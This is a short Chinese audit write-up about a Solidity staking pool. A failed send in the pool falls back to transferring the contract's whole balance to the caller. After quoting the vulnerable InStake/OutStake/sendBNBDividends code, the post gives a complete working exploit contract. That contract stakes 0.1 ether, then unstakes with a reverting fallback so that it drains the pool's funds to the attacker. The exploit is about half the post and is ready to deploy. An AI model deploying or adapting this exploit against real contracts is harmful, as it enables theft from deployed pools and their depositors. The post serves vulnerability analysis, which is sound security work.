记审计过程遇到的奇葩转账
先看看源代码:
function InStake() external payable{ uint256 MBNBPrice = 0; //当代币余额和合约中的eth都大于零,更新MBNB的价格 if(this.totalSupply() > 0 && (address(this).balance).mul(10**18) > 0){ MBNBPrice = (((address(this).balance).sub(msg.value)).mul(10**18))/this.totalSupply(); } uint256 payMBNB = 0; //当代币余额等于零,或者当前的MBNBPrice价格为零 if(this.totalSupply() == 0 || MBNBPrice == 0){ payMBNB = msg.value/minimumMBNBPrice;//计算可以购买的MBNB }else{ payMBNB = msg.value/MBNBPrice;//当代币有余额和MBNBPrice有价格 } if(payMBNB>0){ payMBNB = payMBNB.mul(10**18); } _mint(msg.sender, payMBNB); // emit Withdraw(msg.sender, amount, burn); } function OutStake(uint256 MBNBAmount) external { require(MBNBAmount <= balanceOf(msg.sender), "Pool: Insufficient MBNB"); uint256 MBNBPrice = 0; if(this.totalSupply() > 0 && (address(this).balance).mul(10**18) > 0){ MBNBPrice = (address(this).balance).mul(10**18)/this.totalSupply(); } uint256 payBNB = 0; if(this.totalSupply() == 0 || MBNBPrice == 0){ payBNB = MBNBAmount * minimumMBNBPrice; }else{ payBNB = MBNBAmount * MBNBPrice; } if(payBNB>0){ payBNB = payBNB.div(10**18); } _burn(msg.sender, MBNBAmount);//销毁代币 sendBNBDividends(msg.sender,payBNB);//发送eth } function sendBNBDividends(address receiver,uint amount ) private { if (!address(uint160(receiver)).send(amount)) { return address(uint160(receiver)).transfer(address(this).balance); } }
在代码转账中先通过send去转账,如果不成功,则使用transfer把合约中的余额转给用户。我们知道合约可以写fallback来拒绝第一次转账,从而掏空合约中的余额。
exp:
1 pragma solidity ^0.6.0; 2 3 interface POOL{ 4 function InStake() external payable; 5 function OutStake(uint256 MBNBAmount) external; 6 function balanceOf(address account) external view returns (uint256); 7 } 8 contract exp{ 9 POOL pool; 10 constructor(address _address)public{ 11 pool = POOL(_address); 12 } 13 function hack() public payable{ 14 address(pool).call{value:0.1 ether}(abi.encodePacked(bytes4(keccak256("InStake()")))); 15 pool.OutStake(pool.balanceOf(address(this))); 16 msg.sender.transfer(address(this).balance); 17 } 18 19 fallback()payable external{ 20 if(msg.value <= 1 ether){ 21 revert(); 22 } 23 } 24 function getBalance() public view returns (uint256) { 25 return address(this).balance; 26 } 27 }

浙公网安备 33010602011771号